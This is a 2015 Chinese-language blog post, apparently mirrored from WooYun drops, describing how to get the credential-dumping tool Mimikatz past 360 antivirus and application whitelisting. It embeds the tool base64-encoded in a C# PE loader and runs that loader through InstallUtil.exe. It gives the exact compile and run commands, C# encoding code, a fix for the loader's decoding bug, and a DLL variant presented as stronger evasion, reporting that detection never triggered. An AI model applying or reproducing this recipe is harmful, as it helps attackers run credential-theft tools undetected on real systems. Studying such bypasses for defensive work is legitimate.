作者:
三好學生
·
2015/09/17 10:43
0x00 前言
最近subTee
在其部落格中介紹瞭如何利用白名單繞過防護,但細節存在bug
,所以本文僅介紹如何修復其bug
並利用該方法繞過360
,更多利用方法值得探索
部落格連結:
http://subt0x10.blogspot.hk/(需翻牆)
文章地址:
http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html(需翻牆)
0x01 測試目標
下載最新版本Mimikatz
,實現繞過防毒軟體的查殺。
0x02 測試環境
作業系統:Win7 x64
mimikatz版本:2.0 alpha 20150906 (oe.eo) edition
(目前為止最新)
下載連結:https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906
測試日期:9/14/2015
0x03 實際測試
建議先了解參考連結,連結中提到的相關基礎知識不做再次介紹
1、下載最新mimikatz,測試查殺情況
毫無疑問,被查殺,如圖
2、利用InstallUtil.exe執行程式
(1)下載https://gist.github.com/subTee/00cdac8990584bd2c2fe並儲存為PELoader.cs
(2)參照部落格中的示例,執行如下程式碼:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
如圖,生成PELoader.exe
,然後透過InstallUtil.exe
執行PELoader.exe
成功載入執行mimikatz
程式顯示為InstallUtil.exe
,如圖
(3)測試生成的PELoader.exe
查殺情況
如圖,360成功檢測威脅
(4)嘗試修改PELoader.cs
閱讀程式碼發現Line853-856
儲存了base64
加密後的mimikatz
那麼參照作者給出的修改方法修改
作者給出的修改方法如下:
* Base64 Encode Mimikatz In PowerShell- $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64") *
[OR]
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close(); *
(5)測試Base64 Encode Mimikatz In PowerShell
按照作者給出的方法對mimikatz
作base64
編碼並儲存在Mimikatz.b64檔案中
如圖
執行Powershell
程式碼
執行後生成Mimikatz.b64
,如圖
開啟將內容複製到PELoader.cs
中的變數KatzCompressed
的定義中,如圖
按照步驟(2)執行測試,發現錯誤,如圖
0x04 分析
作者給出的例項程式碼如果無法修改,未免太雞肋,必須找到修改方法,實現執行任意程式
0x05 解決方案
在做了多次實驗並研究程式碼後成功找到了錯誤原因:
Powershell
作base64
編碼同c#
對base64
解碼之間存在解析錯誤
解決步驟:
(1)使用c#對mimikatz作base64加密
程式碼如下:
using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace test1
{
class Program
{
static void Main(string[] args)
{
byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
sw.Write(AsBase64String);
sw.Close();
}
}
}
我使用的環境是vs2012
,新建c#
工程,填寫以上程式碼,編譯後執行,生成新的mimikatz.b64
,如圖
細心的同學可以發現和之前使用Powershell
生成的mimikatz.b64
有所區別
(2)替換變數KatzCompressed
的定義內容
如圖
(3)修改解密過程
定位PELoader.cs
Line106,去掉
byte[] decompressed = Decompress(FromBase64);
在前面新增“//”即可,如圖
(4)再次編譯並利用InstallUtil.exe
執行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
如圖
證明修改成功,能夠順利執行我們修改的程式碼
(5)增強免殺
採用如下生成步驟:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll
如圖
也可以成功載入mimikatz
測試查殺情況
如圖
注:測試全過程開啟360,主動防禦未觸發
0x06 小結
透過InstallUtil.exe
執行程式的方法不僅可使程式逃過防毒軟體的查殺,更能夠規避程式執行白名單的限制,其他作業系統下的情況有所不同,更多細節值得研究。
參照zone
中大家的建議,希望這篇文章是大家喜歡看到的型別:)
本文由三好學生原創並首發於烏雲drops,轉載請註明
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!